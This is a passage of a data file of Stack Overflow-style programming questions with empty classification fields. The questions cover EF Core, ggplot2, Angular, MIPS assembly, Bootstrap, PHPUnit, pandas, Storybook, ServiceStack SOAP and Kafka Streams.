&lt;defs&gt;\n &lt;clipPath id=\"clip2\"&gt;\n &lt;polygon points=\"6.5 0, 10 0, 10 10, 1.5 10\" /&gt;\n &lt;/clipPath&gt;\n &lt;/defs&gt;\n &lt;image xlink:href=\"https://images.pexels.com/photos/745407/pexels-photo-745407.jpeg?auto=compress&amp;cs=tinysrgb&amp;h=750&amp;w=1260\" x=\"0\" y=\"0\" height=\"6.7\" width=\"10\" clip-path=\"url(#clip2)\"/&gt;\n &lt;/svg&gt;\n &lt;/div&gt;\n &lt;/section&gt;</code></pre>\n</div>\n</div>\n</p>\n\n<p>Anyone who can help I really appreciate!\nThank you in advance</p>\n"},{"Classification":"","Title":"Is there a way to map a temp table in Entity Framework Core?","Body":"<p>I am currently trying to sync two SQLite databases with EF Core. To do this I have a lot of data manipulation that needs to be tracked. I can't do this with EF Core because of memory issues (about 5 million records for each database). </p>\n\n<p>So I was thinking about trying to save sorted and changed data into temp tables for the processing. Then pull the data out to save all back to the databases once processing is complete. Another option is to save to XML list on disk. </p>\n\n<p>Any help, advice, best practice would be great.</p>\n"},{"Classification":"","Title":"draw border around legend continuous gradient color bar of heatmap","Body":"<p>How to add a border around the continuous gradient color bar. By default, ggplot picks up the fill color specified in the <code>scale_fill_gradient</code>.</p>\n\n<p>The closest answer, I found is this <a href=\"https://stackoverflow.com/questions/29793398/adding-border-or-background-to-scale-legend-guide-colorbar-in-ggplot2\">one</a>, but it did not help me with this task.</p>\n\n<p>I also tried this with legend key, but did not help me.</p>\n\n<pre><code>legend.key = element_rect(colour = \"black\", size = 4)\n</code></pre>\n\n<p>Please see the current and expected graphs below.</p>\n\n<p><strong>Data:</strong></p>\n\n<pre><code>df1 &lt;- structure(list(go = structure(c(17L, 16L, 15L, 14L, 13L, 12L, \n 11L, 10L, 9L, 8L, 7L, 6L, 5L, 4L, 3L, 2L, 1L, 17L, 16L, 15L, \n 14L, 13L, 12L, 11L, 10L, 9L, 8L, 7L, 6L, 5L, 4L, 3L, 2L, 1L, \n 17L, 16L, 15L, 14L, 13L, 12L, 11L, 10L, 9L, 8L, 7L, 6L, 5L, 4L, \n 3L, 2L, 1L, 17L, 16L, 15L, 14L, 13L, 12L, 11L, 10L, 9L, 8L, 7L, \n 6L, 5L, 4L, 3L, 2L, 1L), \n .Label = c(\"q\", \"p\", \"o\", \"n\", \"m\", \"l\", \"k\", \"j\", \"i\", \"h\", \"g\", \"f\", \"e\", \"d\", \"c\", \"b\", \"a\"), \n class = c(\"ordered\", \"factor\")), \n variable = structure(c(1L, 1L, 1L, 1L, 1L, 1L, 1L, 1L, 1L, 1L, 1L, 1L, 1L, 1L, 1L, 1L, 1L, 2L, 2L, 2L, 2L, 2L, 2L, \n 2L, 2L, 2L, 2L, 2L, 2L, 2L, 2L, 2L, 2L, 2L, 3L, 3L, 3L, 3L, 3L, \n 3L, 3L, 3L, 3L, 3L, 3L, 3L, 3L, 3L, 3L, 3L, 3L, 4L, 4L, 4L, 4L, \n 4L, 4L, 4L, 4L, 4L, 4L, 4L, 4L, 4L, 4L, 4L, 4L, 4L), \n class = \"factor\", .Label = c(\"a\", \"b\", \"c\", \"d\")),\n value = c(-0.626453810742332, 0.183643324222082, -0.835628612410047, 1.59528080213779, 0.329507771815361, \n -0.820468384118015, 0.487429052428485, 0.738324705129217, 0.575781351653492, \n -0.305388387156356, 1.51178116845085, 0.389843236411431, -0.621240580541804, \n -2.2146998871775, 1.12493091814311, -0.0449336090152309, -0.0161902630989461, \n 0.943836210685299, 0.821221195098089, 0.593901321217509, 0.918977371608218, \n 0.782136300731067, 0.0745649833651906, -1.98935169586337, 0.61982574789471, \n -0.0561287395290008, -0.155795506705329, -1.47075238389927, -0.47815005510862, \n 0.417941560199702, 1.35867955152904, -0.102787727342996, 0.387671611559369, \n -0.0538050405829051, -1.37705955682861, -0.41499456329968, -0.394289953710349, \n -0.0593133967111857, 1.10002537198388, 0.763175748457544, -0.164523596253587, \n -0.253361680136508, 0.696963375404737, 0.556663198673657, -0.68875569454952, \n -0.70749515696212, 0.36458196213683, 0.768532924515416, -0.112346212150228, \n 0.881107726454215, 0.398105880367068, -0.612026393250771, 0.341119691424425, \n -1.12936309608079, 1.43302370170104, 1.98039989850586, -0.367221476466509, \n -1.04413462631653, 0.569719627442413, -0.135054603880824, 2.40161776050478, \n -0.0392400027331692, 0.689739362450777, 0.0280021587806661, -0.743273208882405, \n 0.188792299514343, -1.80495862889104, 1.46555486156289)), \n .Names = c(\"go\", \"variable\", \"value\"), row.names = c(NA, -68L), class = \"data.frame\")\n</code></pre>\n\n<p><strong>Code:</strong></p>\n\n<pre><code>library('ggplot2')\nggplot( data = df1, mapping = aes( x = variable, y = go ) ) + # draw heatmap\n geom_tile( aes( fill = value ), colour = \"white\") +\n scale_fill_gradient( low = \"white\", high = \"black\",\n guide = guide_colorbar(label = TRUE,\n draw.ulim = TRUE, \n draw.llim = TRUE,\n ticks = TRUE, \n nbin = 10,\n label.position = \"bottom\",\n barwidth = 13,\n barheight = 1.3, \n direction = 'horizontal')) +\n scale_y_discrete(position = \"right\") +\n scale_x_discrete(position = \"top\") +\n coord_flip() +\n theme(axis.text.x = element_text(),\n axis.title = element_blank(),\n axis.ticks = element_blank(),\n axis.line = element_blank(),\n legend.position = 'bottom',\n legend.title = element_blank(),\n legend.key = element_rect(colour = \"black\", size = 4)\n )\n</code></pre>\n\n<p><strong>Current Graph:</strong></p>\n\n<p><a href=\"https://i.stack.imgur.com/SGIg7.png\" rel=\"noreferrer\"><img src=\"https://i.stack.imgur.com/SGIg7.png\" alt=\"enter image description here\"></a></p>\n\n<p><strong>Expected Graph:</strong></p>\n\n<p><a href=\"https://i.stack.imgur.com/WXy1n.png\" rel=\"noreferrer\"><img src=\"https://i.stack.imgur.com/WXy1n.png\" alt=\"enter image description here\"></a></p>\n"},{"Classification":"","Title":"Nested lists in angular material","Body":"<p>Can you nest Lists in Angular Material?</p>\n\n<p>I haven't seen any <a href=\"https://material.angular.io/components/list/examples\" rel=\"nofollow noreferrer\">examples in the documentation</a>.</p>\n\n<p>I guessed that I should use a <a href=\"https://material.angular.io/components/list/overview#multi-line-lists\" rel=\"nofollow noreferrer\">multiline list</a>, but I'm doing something wrong.</p>\n\n<p><a href=\"https://stackblitz.com/edit/angular-nnkg3h\" rel=\"nofollow noreferrer\">Things that I have tried.</a></p>\n"},{"Classification":"","Title":"Why did these lines of Assembly crash QtSpim?","Body":"<p>This is a block of code I had to describe a subprogram. QtSpim crashed when I opened the file. I didn't get a chance to run it.</p>\n\n<pre><code>###########################################################\n# Read Structure\n# # #\n# 1. Iterate through the array and read each element from user input\n# 2. Each element should be a [double, integer] pair \n# - Double: “price” \n# - Integer: “count”\n###########################################################\n</code></pre>\n\n<p>Here is the rest of my unfinished program if it helps. I only found out what was wrong after isolating sections with print statements and deleting chunks then re-running/crashing QtSpim.</p>\n\n<pre><code>###########################################################\n# Program 5 - Data Structure\n# # #\n# 1. Dynamically Allocate and fill Array of Data Structures \n# 2. Print Out Array\n# 4. Iterate Array and calculate sum and average\n# - Value of each element = (price x count)\n# - Array Average = (total value / total count)\n# 6. Iterate again to find the min and max values\n# 7. Print sum, average, min and max value.\n\n# # Main's Order # #\n# Allocate Structure #\n# Read Structure #\n# Print Structure #\n# Sum Average #\n# Get Min/Max #\n# # # # # # # # # # # \n###########################################################\n# Register Usage\n# $t0 \n# $t1\n# $t2 \n# $t3 \n# $t4 \n# $t5\n# $t6\n# $t7\n# $t8\n# $t9 Temp\n###########################################################\n .data\n# \"sv\" - Static Variable\n\nArrayAddress_sv: .word 0 \nArraySize_sv: .word 0 \n\n###########################################################\n .text\nmain:\n\n addi $sp, $sp, -4 # Allocate space for $ra\n sw $ra, 0($sp) # Store $ra onto stack\n\n addi $sp, $sp, -8 # Allocate space for |2-Arg's OUT(Array Base Address/Array Length)|\n\n jal allocate_structure\n\n lw $t0, 0($sp) # Loading Array Address($sp+0) to $t0\n lw $t1, 4($sp) # Loading Array Size($sp+4) to $t1\n\n addi $sp, $sp, 8 # De-Allocating 2 Arguments\n\n lw $ra, 0($sp) # load $ra from stack\n addi $sp, $sp, 4 # deallocate word for $ra\n\n la $t9, ArrayAddress_sv # Loading Address of Static Variable\n sw $t0, 0($t9) # Storing Array Address($t0) into Static Variable(ArrayAddress_sv)\n\n la $t9, ArraySize_sv # Loading Address of Static Variable\n sw $t1, 0($t9) # Storing Array Size($t1) into Static Variable(ArraySize_sv)\n\n# # # # # # # # # # # # # #\n# Allocate Structure Done #\n# # # # # # # # # # # # # #\n\n la $t9, ArrayAddress_sv # Loading Address of Static Variable\n lw $t0, 0($t9) # Storing Variable(Array Address) into $t0\n # # # RESTORING VARIABLES # # #\n la $t9, ArraySize_sv # Loading Address of Static Variable\n lw $t1, 0($t9) # Storing Variable(Array Length) into $t1 \n\n addi $sp, $sp, -4 # Allocate space for $ra\n sw $ra, 0($sp) # Store $ra onto stack\n\n addi $sp, $sp, -8 # Allocate space for |2-Arg's IN(Array Base Address/Array Length)|\n\n sw $t0, 0($sp) # Storing Array Address into $sp+0\n sw $t1, 4($sp) # Storing Array Length into $sp+4\n\n jal read_structure\n\n addi $sp, $sp, 8 # De-Allocate space for |2-Arg's IN(Array Base Address/Array Length)|\n\n lw $ra, 0($sp) # load $ra from stack\n addi $sp, $sp, 4 # deallocate word for $ra\n\n# # # # # # # # # # # # \n# Read Structure Done #\n# # # # # # # # # # # #\n\n la $t9, ArrayAddress_sv # Loading Address of Static Variable\n lw $t0, 0($t9) # Storing Variable(Array Address) into $t0\n # # # RESTORING VARIABLES # # #\n la $t9, ArraySize_sv # Loading Address of Static Variable\n lw $t1, 0($t9) # Storing Variable(Array Length) into $t1 \n\n addi $sp, $sp, -4 # allocate one word for $ra\n sw $ra, 0($sp) # store $ra on stack\n\n addi $sp, $sp, -8 # Allocate space for |2-Arg's IN(Array Base Address/Array Length)|\n\n sw $t0, 0($sp) # Storing Array Address into $sp+0\n sw $t1, 4($sp) # Storing Array Length into $sp+4\n\n jal print_structure\n\n addi $sp, $sp, 8 # De-Allocate space for |2-Arg's IN(Array Base Address/Array Length)|\n\n lw $ra, 0($sp) # load $ra from stack\n addi $sp, $sp, 4 # deallocate word for $ra\n\n# # # # # # # # # # # # \n# Print Structure Done #\n# # # # # # # # # # # #\n\n\n addi $sp, $sp, 4 # De-Allocating $ra\n\n li $v0, 10 #End Program\n syscall\n###########################################################\n# # # # # # # # # # # # # # # # # # # # # # # # # # # # # #\n###########################################################\n# Allocate Structure\n# # #\n# 1. Prompt user for an array size \n# 2. Dynamically allocate an array of data structures\n# 3. Return array base address and array size to main\n###########################################################\n# Arguments In and Out of subprogram\n# $sp+0 Array Base Address(OUT)\n# $sp+4 Array Size(OUT)\n###########################################################\n# Register Usage\n# $t0 Array Size\n# $t1 12\n###########################################################\n .data\n\nInvalidSize_p: .asciiz \"\\nThe size you entered was invalid.\"\nArraySize_p: .asciiz \"\\nEnter size of the array: \"\n###########################################################\n .text\nallocate_structure:\n\n li $v0, 4 # # #\n la $a0, ArraySize_p # Print \"Enter an array length: \"\n syscall # # #\n\n li $v0, 5\n syscall\n\n blez $v0, invalid_size # If entered length &lt;= 0 display error\n\n move $t0, $v0\n\n li $t1, 12\n\n li $v0, 9\n mul $a0, $t0, $t1\n syscall\n\n sw $v0, 0($sp) # Saving $v0(Array Address) on stack\n sw $t0, 4($sp) # Saving $t0(Array Size) on stack\n\n jr $ra #return to main\n\ninvalid_size:\n\n li $v0, 4 # # #\n la $a0, InvalidSize_p # Print \"\\nThe size you entered was invalid.\"\n syscall # # #\n\n b allocate_structure\n###########################################################\n# # # # # # # # # # # # # # # # # # # # # # # # # # # # # #\n###########################################################\n# Read Structure\n# # #\n# 1. Iterate through the array and read each element from user input\n# 2. Each element should be a [double, integer] pair \n# - Double: “price” \n# - Integer: “count”\n###########################################################\n# Arguments In and Out of subprogram\n# $sp+0 Array Base Address(IN)\n# $sp+4 Array Size(IN)\n###########################################################\n# Register Usage\n# $t0 Array Address\n# $t1 Array Size\n# $t2 Counter\n###########################################################\n .data\nPrice_p: .asciiz \"\\n Enter Price(Double) for Item \"\nCount_p: .asciiz \"\\n Enter Count(Integer) for Item \"\nInput_p: .asciiz \" : \"\nInvalidRead_p: .asciiz \"\\n The number you entered is invalid\"\n###########################################################\n .text\nread_structure:\n\n lw $t0, 0($sp) # Loading Array Address($sp+0) to $t0\n lw $t1, 4($sp) # Loading Array Size($sp+4) to $t1\n\n li $t2, 1\n\nread_structure_loop:\n\n li $v0, 4 # # #\n la $a0, Price_p # Print \"\\n Enter Price(Double) for Item \"\n syscall # # #\n\n li $v0, 1 # # #\n move $a0, $t2 # Print Counter Integer\n syscall # # #\n\n li $v0, 4 # # #\n la $a0, Input_p # Print \" : \"\n syscall # # #\n\n\n li $v0, 7 # Read Double\n syscall\n\n #c.le.d $f0, $zero # Double is &lt;= Zero\n #bc1t invalid_read # # #\n\n li $v0, 4 # # #\n la $a0, Price_p # Print \"\\n Enter Count(Integer) for Item \"\n syscall # # #\n\n li $v0, 1 # # #\n move $a0, $t2 # Print Counter Integer\n syscall # # #\n\n li $v0, 4 # # #\n la $a0, Input_p # Print \" : \"\n syscall # # #\n\n li $v0, 5 # Read Int\n syscall\n\n blez $v0, invalid_read # Int is &lt;= zero\n\n s.d $f0, 0($t0) # Store Double into array\n\n sw $v0, 8($t0) # Store Int into Array\n\n addi $t0, $t0, 12 # Move Pointer \n addi $t2, $t2, 1 # Increment Counter\n\n blt $t2, $t1, read_structure_loop # If counter &lt; array size, then loop again\n\n jr $ra # Return to main\n\ninvalid_read:\n\n li $v0, 4 # # #\n la $a0, InvalidRead_p # Print \"\\n The number you entered is invalid\"\n syscall # # #\n\n b read_structure_loop\n###########################################################\n# # # # # # # # # # # # # # # # # # # # # # # # # # # # # #\n###########################################################\n# Print Structure\n# # #\n# 1. Iterate the array and print the content of each element \"[double, integer]\n###########################################################\n# Arguments In and Out of subprogram\n# $sp+0 Array Base Address(IN)\n# $sp+4 Array Size(IN)\n###########################################################\n# Register Usage\n###########################################################\n .data\n###########################################################\n .text\nprint_structure:\n\n jr $ra #return to \n###########################################################\n# # # # # # # # # # # # # # # # # # # # # # # # # # # # # #\n###########################################################\n# Sum Average \n# # #\n# 1. Iterate the array and calculate the sum and average\n# 2. Value is (price x count)\n# 3. Average is (total value / total count)\n###########################################################\n# Arguments In and Out of subprogram\n# $sp+0 Array Base Address(IN)\n# $sp+4 Array Size(IN)\n# $sp+8 Sum Calculated Sums in data structure array(OUT)\n# $sp+16 Average of calculated sums in data structure array(OUT)\n###########################################################\n# Register Usage\n###########################################################\n .data\n###########################################################\n .text\nsum_average:\n\n jr $ra #return to main\n###########################################################\n# # # # # # # # # # # # # # # # # # # # # # # # # # # # # #\n###########################################################\n# Get Min/Max\n# # #\n# 1. Iterate the array and find minimum value and maximum value\n# - Total Value = (price x count)\n###########################################################\n# Arguments In and Out of subprogram\n# $sp+0 Array Base Address(IN)\n# $sp+4 Array Size(IN)\n# $sp+8 Min Value(OUT)\n# $sp+16 Max Value(OUT)\n###########################################################\n# Register Usage\n###########################################################\n .data\n###########################################################\n .text\nget_min_max:\n\n jr $ra #return to main\n###########################################################\n# # # # # # # # # # # # # # # # # # # # # # # # # # # # # #\n###########################################################\n</code></pre>\n"},{"Classification":"","Title":"Hamburger Icon Loading As \"X\"","Body":"<p>I'm using Bootstrap 4. Change the hamburger icon to CSS Lines adding some movement to each of the 3 lines to get the \"X\". However, upon loading the hamburger is an X instead of the 3 stacked lines. Eventually after clicking the button it goes back to being in correct order. Please let me know if there is anyway I can correct this loading issue. </p>\n\n<p><div class=\"snippet\" data-lang=\"js\" data-hide=\"false\" data-console=\"true\" data-babel=\"false\">\n<div class=\"snippet-code\">\n<pre class=\"snippet-code-css lang-css prettyprint-override\"><code>.navbar {\n background: rgb(5,6,31);\n background: linear-gradient(360deg, rgba(5,6,31,1) 0%, rgba(1,49,85,1) 100%);\n}\n\n.navbar-nav &gt; li {\n padding-left: 8px;\n padding-right: 8px;\n}\n\n.navbar-nav {\n padding-right: 20px;\n}\n\n.navbar-brand {\n padding-left: 1px;\n}\n\n.navbar-collapse {\n text-align: center;\n}\n\n.nav-link {\n color: white;\n}\n\n.nav-link:hover {\n color: #ffcf0a;\n}\n\n.navbar-toggler:focus, .navbar-toggler:active {\n outline: none;\n box-shadow: none;\n}\n\n.icon-bar {\n\twidth: 22px;\n\theight: 2px;\n\tbackground-color: white;\n\tdisplay: block;\n\ttransition: all 0.2s;\n\tmargin-top: 4px\n}\n\n.navbar-toggler::before {\n border: none;\n background: transparent !important;\n}\n\n.navbar-toggler .top-bar {\n transform: rotate(45deg);\n transform-origin: 10% 10%;\n}\n\n.navbar-toggler .middle-bar {\n opacity: 0;\n}\n\n.navbar-toggler .bottom-bar {\n transform: rotate(-45deg);\n transform-origin: 10% 90%;\n}\n\n.navbar-toggler.collapsed .top-bar {\n transform: rotate(0);\n}\n\n.navbar-toggler.collapsed .middle-bar {\n opacity: 1;\n}\n\n.navbar-toggler.collapsed .bottom-bar {\n transform: rotate(0);\n}</code></pre>\n<pre class=\"snippet-code-html lang-html prettyprint-override\"><code>&lt;script src=\"https://ajax.googleapis.com/ajax/libs/jquery/2.1.1/jquery.min.js\"&gt;&lt;/script&gt;\n&lt;link href=\"https://stackpath.bootstrapcdn.com/bootstrap/4.1.0/css/bootstrap.min.css\" rel=\"stylesheet\"/&gt;\n&lt;script src=\"https://stackpath.bootstrapcdn.com/bootstrap/4.1.0/js/bootstrap.min.js\"&gt;&lt;/script&gt;\n&lt;nav class=\"navbar navbar-expand-lg fixed-top\"&gt;\n &lt;div class=\"container-fluid\"&gt;\n &lt;a class=\"navbar-brand\" href=\"https://www.youtube.com/user/FRAGRANCEFANATIC1\" target=\"_blank\"&gt;\n &lt;img src=\"content\\subscribe-nav.png\" alt=\"Subscribe To My Channel\"&gt;\n &lt;/a&gt;\n &lt;button class=\"navbar-toggler\" type=\"button\" data-toggle=\"collapse\" data-target=\"#navbarNav\" aria-controls=\"navbarNav\" aria-expanded=\"false\" aria-label=\"Toggle navigation\"&gt;\n \t&lt;span class=\"icon-bar top-bar\"&gt;&lt;/span&gt;\n \t&lt;span class=\"icon-bar middle-bar\"&gt;&lt;/span&gt;\n \t&lt;span class=\"icon-bar bottom-bar\"&gt;&lt;/span&gt;\n &lt;/button&gt;\n &lt;!-- &lt;button class=\"navbar-toggler\" type=\"button\" data-toggle=\"collapse\" data-target=\"#navbarNav\" aria-controls=\"navbarNav\" aria-expanded=\"false\" aria-label=\"Toggle navigation\"&gt;\n &lt;i class=\"fas fa-bars\"&gt;&lt;/i&gt;\n &lt;/button&gt; --&gt;\n &lt;div class=\"collapse navbar-collapse\" id=\"navbarNav\"&gt;\n &lt;ul class=\"navbar-nav ml-auto\"&gt;\n &lt;li class=\"nav-item active\"&gt;\n &lt;a class=\"nav-link\" href=\"#section-top\"&gt;Home &lt;span class=\"sr-only\"&gt;(current)&lt;/span&gt;&lt;/a&gt;\n &lt;/li&gt;\n &lt;li class=\"nav-item\"&gt;\n &lt;a class=\"nav-link\" href=\"#section-about\"&gt;About&lt;/a&gt;\n &lt;/li&gt;\n &lt;li class=\"nav-item\"&gt;\n &lt;a class=\"nav-link\" href=\"#section-video\"&gt;Videos&lt;/a&gt;\n &lt;/li&gt;\n &lt;li class=\"nav-item\"&gt;\n &lt;a class=\"nav-link\" href=\"#section-blog\"&gt;Blog&lt;/a&gt;\n &lt;/li&gt;\n &lt;li class=\"nav-item\"&gt;\n &lt;a class=\"nav-link\" href=\"#section-merch\"&gt;Merchandise&lt;/a&gt;\n &lt;/li&gt;\n &lt;/ul&gt;\n &lt;/div&gt;\n &lt;/div&gt;\n &lt;/nav&gt;</code></pre>\n</div>\n</div>\n</p>\n"},{"Classification":"","Title":"jquery not working on angular 4","Body":"<p>So I'm working on this template on angular which requires many custom jquery files.\n I did the 'npm install jquery' and added all the needed files in .angular-cli.json like this :</p>\n\n<pre><code>\"scripts\": [\n \"../node_modules/jquery/dist/jquery.min.js\",\n \"assets/js/popper.min.js\",\n \"assets/js/bootstrap.min.js\",\n \"assets/vendors/revolution/js/jquery.themepunch.tools.min.js\",\n \"assets/vendors/revolution/js/jquery.themepunch.revolution.min.js\",\n \"assets/vendors/revolution/js/extensions/revolution.extension.actions.min.js\",\n \"assets/vendors/revolution/js/extensions/revolution.extension.video.min.js\",\n \"assets/vendors/revolution/js/extensions/revolution.extension.slideanims.min.js\",\n \"assets/vendors/revolution/js/extensions/revolution.extension.layeranimation.min.js\",\n \"assets/vendors/revolution/js/extensions/revolution.extension.navigation.min.js\",\n \"assets/vendors/revolution/js/extensions/revolution.extension.slideanims.min.js\",\n \"assets/vendors/counterup/jquery.waypoints.min.js\",\n \"assets/vendors/counterup/jquery.counterup.min.js\",\n \"assets/vendors/counterup/apear.js\",\n \"assets/vendors/counterup/countto.js\",\n \"assets/vendors/owl-carousel/owl.carousel.min.js\",\n \"assets/vendors/parallaxer/jquery.parallax-1.1.3.js\",\n \"assets/vendors/tweet/tweetie.min.js\",\n \"assets/vendors/tweet/script.js\",\n \"assets/js/theme.js\"\n ],\n</code></pre>\n\n<p>I'm not getting any errors but it's not working, it seems like the js files are not called.\nAny help?</p>\n"},{"Classification":"","Title":"phpunit \"No tests executed\"","Body":"<p>I can't solve the problem with testing in PHPUnit. This is my code, and there's sommething wrong with it. This is the Annual percentage rate calculation ( <a href=\"https://en.wikipedia.org/wiki/Annual_percentage_rate\" rel=\"nofollow noreferrer\">https://en.wikipedia.org/wiki/Annual_percentage_rate</a> ). </p>\n\n<p>In cmd: </p>\n\n<pre><code> C:\\Users\\Shambler\\Downloads\\test-taeg-senior\\test-taeg&gt;phpunit\nPHP Warning: Module 'oci8' already loaded in Unknown on line 0\n\nWarning: Module 'oci8' already loaded in Unknown on line 0\nPHPUnit 3.7.21 by Sebastian Bergmann.\n\nConfiguration read from C:\\Users\\Shambler\\Downloads\\test-taeg-senior\\test-taeg\\phpunit.xml\n\n\n\nTime: 74 ms, Memory: 2.00MB\n\nNo tests executed!\n\nC:\\Users\\Shambler\\Downloads\\test-taeg-senior\\test-taeg&gt;\n</code></pre>\n\n<p>Don't think about Oracle module, it's another story. I ran \"phpunit\" after \"composer install\".</p>\n\n<p>project/tests/test-general.php:</p>\n\n<pre><code> &lt;?php\n\nuse MotorK\\{ Rate, Tae, Taeg };\n\nclass TestTaeg extends \\PHPUnit\\Framework\\TestCase {\n\n /**\n * Example from http://www.calcolatoremutui.it/tan-e-taeg/\n */\n public function test_tae() {\n $obj = Tae::init( 5, 12 );\n\n $this-&gt;assertEquals( 5.116, round( $obj-&gt;calculate(), 3 ) );\n\n $this-&gt;expectOutputString( '5.116 %' );\n echo $obj;\n }\n\n /**\n * Example from http://www.calcolatoremutui.it/tan-e-taeg/\n */\n public function test_rate() {\n $obj = Rate::init( 100000, 5, 12, 20 );\n\n $this-&gt;assertEquals( 659.96, round( $obj-&gt;calculate(), 2 ) );\n\n $this-&gt;expectOutputString( '659.96 €' );\n echo $obj;\n }\n\n /**\n * Example from http://www.calcolatoremutui.it/tan-e-taeg/\n */\n public function test_taeg() {\n $obj = Taeg::init( 99000, 5, 661.96, 12, 20 );\n\n $this-&gt;assertEquals( 5.281, round( $obj-&gt;calculate(), 3 ) );\n\n $this-&gt;expectOutputString( '5.281 %' );\n echo $obj;\n }\n}\n</code></pre>\n\n<p>project/phpunit.xml</p>\n\n<pre><code>&lt;phpunit\nbootstrap=\"tests/bootstrap.php\"\nbackupGlobals=\"false\"\ncolors=\"true\"\nconvertErrorsToExceptions=\"true\"\nconvertNoticesToExceptions=\"true\"\nconvertWarningsToExceptions=\"true\"\n&gt;\n&lt;testsuite name=\"Internal tests\"&gt;\n &lt;directory prefix=\"test-\" suffix=\".php\"&gt;./tests/&lt;/directory&gt;\n&lt;/testsuite&gt;\n&lt;groups&gt;\n &lt;include&gt;\n &lt;group&gt;default&lt;/group&gt;\n &lt;/include&gt;\n&lt;/groups&gt;\n&lt;filter&gt;\n &lt;whitelist&gt;\n &lt;directory suffix=\".php\"&gt;./includes/&lt;/directory&gt;\n &lt;/whitelist&gt;\n&lt;/filter&gt;\n</code></pre>\n\n<p></p>\n\n<p>I can't solve it, tried it many times :(</p>\n"},{"Classification":"","Title":"Repeat function indefinitely in a column until values reach certain level","Body":"<p>I have this dataframe:</p>\n\n<pre><code> grade type\n0 402 A\n1 312 B\n2 321 C\n...\n</code></pre>\n\n<p>If the type is A and the value in grade column if higher than 100 I want to multiply it by 0.7 indefinitely until it gets to a value below 100. I didn't find a good way to do that, right now I'm using this code below:</p>\n\n<pre><code>df.loc[(df['type'] == 'A') &amp; (df['grade'] &gt; 100),'grade'] = df['grade']*0.7\n(I repeat that 100 times and cross my fingers for 'grade' to be below 100)\n</code></pre>\n\n<p>I could just do that a few times and if it didn't reach I would force to be 100, however I don't want to have a lot of equal values in the df and also I can't put a random component in it.</p>\n\n<p>Is there a better way to do that (preferably with Pandas)?</p>\n"},{"Classification":"","Title":"With the Storybook addon knobs, how to adjust dummy data?","Body":"<p>In my React Storybook, I'm using knobs and I would like to add a knob for dummy data... Here's my storybook component example:</p>\n\n<pre><code>import React from 'react';\nimport { boolean } from '@storybook/addon-knobs/react';\nimport { MySteps } from '../../src/components/index';\n\nconst steps = [\n {\n completed: true,\n title: 'xxxxxxx',\n },\n {\n completed: false,\n title: 'x',\n },\n];\n\nexport default () =&gt; (\n &lt;div&gt;\n &lt;MySteps\n steps={steps}\n /&gt;\n &lt;/div&gt;\n);\n</code></pre>\n\n<p>I want to add a knob like so:</p>\n\n<pre><code>export default () =&gt; (\n &lt;GettingStartedSteps\n step_1_completed={boolean('Step 1 Completed', true)}\n step_2_completed={boolean('Step 2 Completed', false)}\n steps={steps}\n /&gt;\n);\n</code></pre>\n\n<p>Is this dynamic dummy data possible with Storybook + knobs?</p>\n\n<p>Thanks</p>\n"},{"Classification":"","Title":"Deserialize Boolean from Soap using Servicestack","Body":"<p>I am issuing a soap request from SSRS to servicestack and no matter what I try, I can't get Servicestack to recognize anything as a boolean value and deserialize it.</p>\n\n<pre><code>[DataContract]\n[Route(\"/Stuff\")]\npublic class GetStuff : IReturn&lt;GetStuffResponse&gt;\n{\n [DataMember]\n [ApiMember(Name = \"Is Enabled\",\n DataType = \"bool\",\n IsRequired = false)]\n public bool? IsEnabled { get; set; }\n}\n</code></pre>\n\n<p>The incoming soap request looks like:</p>\n\n<pre><code>&lt;?xml version=\"1.0\" encoding=\"utf-8\"?&gt;\n&lt;soap:Envelope xmlns:soap=\"http://schemas.xmlsoap.org/soap/envelope/\"&gt;\n &lt;soap:Body&gt;\n &lt;GetStuff xmlns=\"http://www.myCompany.com/types\"&gt;\n &lt;IsEnabled&gt;true&lt;/IsEnabled&gt;\n &lt;/GetTradesGroupedByClient&gt;\n &lt;/soap:Body&gt;\n&lt;/soap:Envelope&gt;\n</code></pre>\n\n<p>I have tried to make the soap request send \"0\" and \"1\" for true/false, and true with a capital \"T\", but Servicestack always deserializes it as 'null'.</p>\n\n<p>Anyone have any suggestions?</p>\n\n<p><strong>Edit 1</strong></p>\n\n<p>Update on further strangeness. I replaced the bool with int in the hopes that would be less of a hassle, however this also didn't deserialize. So I added some fields to the request to see if all deserialization would fail:</p>\n\n<pre><code>[DataContract]\n[Route(\"/Stuff\")]\npublic class GetStuff : IReturn&lt;GetStuffResponse&gt;\n{\n [DataMember]\n [ApiMember(Name = \"Summary Date\",\n DataType = \"DateTime\",\n IsRequired = false)]\n public DateTime? SummaryDate { get; set; }\n\n [DataMember]\n [ApiMember(Name = \"Summary End Date\",\n DataType = \"DateTime\",\n IsRequired = false)]\n public DateTime? SummaryEndDate { get; set; }\n\n [DataMember]\n [ApiMember(Name = \"Symbol\",\n DataType = \"string\",\n IsRequired = false)]\n public string Symbol { get; set; }\n\n [DataMember]\n [ApiMember(Name = \"Email\",\n DataType = \"string\",\n IsRequired = false)]\n public string Email { get; set; }\n\n [DataMember]\n [ApiMember(Name = \"Is Enabled\",\n DataType = \"int\",\n IsRequired = false)]\n public int? IsEnabled { get; set; }\n}\n</code></pre>\n\n<p>Here is the soap being sent to serviceStack:</p>\n\n<pre><code>&lt;?xml version=\"1.0\" encoding=\"utf-8\"?&gt;\n&lt;soap:Envelope xmlns:soap=\"http://schemas.xmlsoap.org/soap/envelope/\"&gt;\n &lt;soap:Body&gt;\n &lt;GetStuff xmlns=\"http://www.myCompany.com/types\"&gt;\n &lt;SummaryDate&gt;2018-04-26&lt;/SummaryDate&gt;\n &lt;SummaryEndDate&gt;2018-04-26&lt;/SummaryEndDate&gt;\n &lt;Symbol&gt;TOU&lt;/Symbol&gt;\n &lt;Email&gt;Guy.Smiley@myCompany.net&lt;/Email&gt;\n &lt;IsEnabled&gt;1&lt;/IsEnabled&gt;\n &lt;/GetStuff&gt;\n &lt;/soap:Body&gt;\n&lt;/soap:Envelope&gt;\n</code></pre>\n\n<p>Now here is where it gets weird, the two dates and the 'symbol' field deserialize correctly. The 'Email' field and the 'IsEnabled' fields fail and are null. Is there some way to trace the Deserializer in Serivcestack?</p>\n"},{"Classification":"","Title":"Kafka Streams partitions allocation","Body":"<p>I have a Kafka Streams application that is receiving data from topic-1 as <code>KStream</code> and topic-2 as <code>KTable</code>. Both topics have 4 partitions each. Let's say that I have 4 instances of the application running, then each instance will receive data from a single partition for topic-1. How about topic-2 which is received as <code>KTable</code>? Are all instances going to receive data from all 4 partitions in that case? If both the topics are keyed the same, then I guess Kafka Streams will ensure that the same partitions are allocated for an application. If topic-2 doesn't have any keys, but rather the application is going to infer that from the value itself, then that means that all the instances need to get all 